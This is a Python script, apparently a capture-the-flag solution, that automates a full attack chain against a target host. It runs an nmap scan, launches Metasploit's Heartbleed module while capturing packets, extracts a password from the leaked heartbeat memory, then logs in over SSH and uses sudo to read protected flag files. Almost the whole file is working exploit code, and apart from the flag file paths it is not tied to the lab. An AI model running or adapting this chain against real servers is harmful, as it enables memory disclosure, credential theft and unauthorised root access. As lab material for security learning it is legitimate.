-
Notifications
You must be signed in to change notification settings - Fork 0
/
Exploit.py
179 lines (144 loc) · 5.91 KB
/
Exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
import nmap
import sys
import subprocess
import pyshark
import binascii
from prettytable import PrettyTable
import re
import base64
from paramiko import SSHClient, AutoAddPolicy
from bs4 import BeautifulSoup
import requests
import argparse
import csv
def NmapScan(ip):
print("[info] Stating Nmap scan...\n")
scanner = nmap.PortScanner()
res = scanner.scan(ip, arguments="-p- -sC -sV")
table = PrettyTable()
table.field_names = ["Port", "State", "Name", "Product", "Version"]
for port in res['scan'][ip]['tcp']:
table.add_row([port, res['scan'][ip]['tcp'][port]["state"], res['scan'][ip]['tcp'][port]
["name"], res['scan'][ip]['tcp'][port]["product"], res['scan'][ip]['tcp'][port]["version"]])
if (res['scan'][ip]['tcp'][port]["name"].lower() == "ssh"):
ssh_port = port
elif (res['scan'][ip]['tcp'][port]["name"].lower() == "http"):
if (str(res['scan'][ip]['tcp'][port]["script"]).lower().find("https") != -1):
https_port = port
else:
http_port = port
print(table)
print("\n[info] Nmap scan completed")
return ssh_port, http_port, https_port
def MetasploitScan(ip, port, action="KEYS", HeartBeatLength="65535"):
file = open("msfconsole.rc", "w")
file.write("use auxiliary/scanner/ssl/openssl_heartbleed\n")
file.write("set RHOSTS " + ip + "\n")
file.write("set RPORT " + port + "\n")
file.write("set ACTION " + action + "\n")
file.write("set HEARTBEAT_LENGTH " + HeartBeatLength + "\n")
file.write("set MAX_KEYTRIES 5" + "\n")
file.write("run" + "\n")
file.write("exit" + "\n")
file.close()
print("\n[info] Starting the msfconsole.....\n")
command = "msfconsole -q -r msfconsole.rc"
tshark = subprocess.Popen("tshark -i any -w /tmp/msf.pcap",
stderr=subprocess.STDOUT, stdout=subprocess.DEVNULL, shell=True)
process = subprocess.Popen(command, shell=True, stdout=subprocess.DEVNULL)
print("[info] Waiting for the Metasploit to finish.....\n")
process.wait()
process.kill()
tshark.kill()
print("[info] Metasploit exploit completed.....\n")
def PrintFlag3and4(pcapPath, ip):
cap = pyshark.FileCapture(
f"{pcapPath}", display_filter=f"ip.src=={ip} && tls.heartbeat_message.payload")
cap.load_packets()
if (len(cap) < 1):
print("[error] No Packets Found")
exit(1)
for i in range(len(cap)):
try:
packet = cap[i]
tlspacket = packet.__getitem__("tls")
payloadata = str(tlspacket.get_field_value(
"heartbeat_message_payload"))
payloadata = re.sub(r'[^\x00-\x7F]+', ' ', payloadata).strip()
pass_containing = binascii.unhexlify(payloadata.replace(":", ""))
reg_str = "password+.*HTTP\/"
if (re.match(reg_str, str(pass_containing))):
continue
else:
doublebase64 = str(re.search(reg_str, str(pass_containing)).group()).replace(
"HTTP/", "").replace("password=", "").replace(" ", "")
res = base64.b64decode(base64.b64decode(doublebase64+"=="))
break
except:
continue
try:
ssh = SSHClient()
ssh.set_missing_host_key_policy(AutoAddPolicy)
ssh.connect(hostname=ip, username="ns", password=res)
_, stdout, _ = ssh.exec_command("cat /home/ns/flag3.txt")
flag3 = stdout.read().decode("utf-8")
print("Flag 3:", flag3)
_, stdout, _ = ssh.exec_command(
f"echo {res.decode()} | sudo -S cat /flag4.txt")
flag4 = stdout.read().decode('utf-8')
print(f"Flag 4: {flag4}")
return flag3, flag4
except:
pass
def PrintFlag1and2(ip, port, hiddenDir):
r = requests.get(f"http://{ip}:{port}")
if r.status_code == 200:
soup = BeautifulSoup(r.content, 'html.parser')
s = soup.find('div', class_='terminal')
content = s.find_all('a')
flag1 = ""
for a in content:
if "flag" in a.text.lower():
flag1 = a.text
break
print(f"Flag 1: {flag1}\n")
r2 = requests.get(f"http://{ip}:{port}/{hiddenDir}/")
if r2.status_code == 200:
soup = BeautifulSoup(r2.content, 'html.parser')
s = soup.find('div', class_='terminal')
content = s.find_all('a')
flag2 = ""
for a in content:
if "flag" in a.text.lower():
flag2 = a.text
break
print(f"Flag 2: {flag2}\n")
return flag1, flag2
def main():
parser = argparse.ArgumentParser(
description=f"Hacking Hero, Capture The Flag")
parser.add_argument("-ip", "--IPAddress", type=str, required=True,
help="Pass the hostname or IP to run scan",)
parser.add_argument("-d", "--dir", type=str, required=False, default="/login",
help="Provide the hidden path for flag2")
parser.add_argument("-o", "--output", type=str, required=False, default="output.csv",
help="Provide the path of the Output CSV file.")
args = parser.parse_args()
if len(args._get_kwargs()) == 1:
parser.print_help()
exit(0)
ssh_port, http_port, https_port = NmapScan(args.IPAddress)
MetasploitScan(args.IPAddress, str(https_port))
f = open(args.output, 'w')
writer = csv.writer(f)
writer.writerow(["No.", "Flag"])
flag1, flag2 = PrintFlag1and2(args.IPAddress, http_port, args.dir)
writer.writerow(["Flag 1", flag1])
writer.writerow(["Flag 2", flag2])
flag3, flag4 = PrintFlag3and4("/tmp/msf.pcap", args.IPAddress)
writer.writerow(["Flag 3", flag3.replace("\n","")])
writer.writerow(["Flag 4", flag4.replace("\n","")])
print(f"[info] Output file generated successfully to {args.output}.....\n")
f.close()
print("-----------H4x0r 801 73jU-----------")
main()